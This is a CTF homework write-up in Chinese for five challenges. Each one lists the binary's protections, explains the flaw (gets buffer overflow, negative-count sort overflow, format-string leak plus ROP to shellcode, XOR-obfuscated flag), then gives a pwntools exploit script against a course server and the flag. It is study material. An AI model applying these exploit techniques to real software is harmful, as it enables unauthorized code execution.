Hw0
pwn1
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x400000)
RWX: Has RWX segments
concept
objdump 後發現 main 裡面是 gets 讀取輸入,沒有檢查長度所以有 buffer overflow 的漏洞,可以利用漏洞跳到 callme 函數即可拿到 shell
使用 gdb 測出 ret addr offset 為 40
exploit
#!/usr/bin/env python
from pwn import *
r = remote("csie.ctf.tw", 10120)
addr = 0x0000000000400566
r.sendline('a' * 40 + p64(addr))
r.interactive()
flag
FLAG{BuFFer_0V3Rflow_is_too_easy}
BubbleSort
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
concept
objdump 後讀懂程式邏輯後發現 BubbleSort 中直接將 al 當作 sort 的個數
而原先輸入 sort 個數的值就是存在 eax 中,不過他有判斷 sort 個數不能超過 array 長度,但是可以輸入負數使得 al 的值超過 array 長度,導致 sort 超過 array 範圍,如此即可修改 ret addr 跳到 DarkSoul 函數獲得 shell
exploit
將 127 格全部填滿 DarkSoul 的 addr,接著只要 sort 後 ret addr 為 DarkSoul addr 就成功,測試一下發現 -1 就可以了
不直接算 ret addr offset 的原因是因為其中的殘值與 DarkSoul addr 大小關係不確定,不一定直接 sort 127 + offset 的大小就能成功
#!/usr/bin/env python
from pwn import *
r = remote("csie.ctf.tw", 10121)
addr = '0x08048580'
r.recvuntil(':')
r.sendline('127')
r.recvuntil(':')
r.sendline('{} '.format(str(int(addr, 16))) * 127)
r.recvuntil(':')
r.sendline('-1')
r.interactive()
flag
FLAG{Bubble_sort_is_too_slow_and_this_question_is_too_easy}
ret222
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
FORTIFY: Enabled
concept
觀察到該程式保護全開,所以先找一下有沒有 format string 或 heap 相關的漏洞
可以發現在 Show info 輸出 name 的時候有 format string 的漏洞
而在 Save data 時使用 gets
造成 buffer overflow
所以可以利用 format string leak 出 code base 和 canary,然後再利用 buffer overflow 做出 ROP 讀入 shellcode 到 name 上,最後再跳到 name 上即可 (程式最後結束時會將 name 後的一大塊 memory 權限設成 rwx)
exploit
#!/usr/bin/env python
from pwn import *
r = process('./ret222')
context.arch = 'amd64'
def setname(data):
r.sendlineafter('>', '1')
r.sendafter(':', data)
def showinfo():
r.sendlineafter('>', '2')
r.recvuntil(':')
def savedata(data):
r.sendlineafter('>', '3')
r.sendlineafter(':', data)
def ex():
r.sendlineafter('>', '4')
setname("%23$p")
showinfo()
canary = int(r.recvuntil('*')[2:-1], 16)
log.info(hex(canary))
setname("%24$p")
showinfo()
base = int(r.recvuntil('*')[2:-1], 16) - 0xd40
log.info(hex(base))
name = base + 0x202020
main = base + 0xc00
gets = base + 0x908
pop_rdi = base + 0xda3
payload = 'a' * 136 + flat(canary, 'deadbeef', pop_rdi, name, gets, main)
savedata(payload)
ex()
r.sendline(asm(shellcraft.sh()))
payload = 'a' * 136 + flat(canary, 'deadbeef', name)
savedata(payload)
ex()
r.interactive()
flag
FLAG{YOU_ARE_REALLY_SMART!!!!!!}
rev1
concept
objdump 後發現有一個 print_flag 函數
直接使用 gdb 跳過去就會印出 flag 了
flag
FLAG{_reverse_is_fun}
rev2
concept
使用 IDA 反組譯後可以發現他將輸入每 byte 與 0xcc 做 xor 後和一個特定字串 (unk_4120BC) 比較,若相同輸入即為 flag
unk_4120BC 內容
利用 xor 的特性可知將 unk_4120BC 每 byte xor 0xcc 即可還原出 flag
exploit
#!/usr/bin/python3
flag = [0x8A, 0x80, 0x8D, 0x8B, 0xB7, 0x94, 0xFC, 0xBE, 0x93, 0xB8, 0xA3,
0x93, 0x8F, 0xBE, 0xF8, 0xAF, 0xA7, 0x93, 0x81, 0xFF, 0xB1]
for i in flag:
print(chr(i ^ 0xcc), end='')
flag
FLAG{X0r_to_Cr4ck_M3}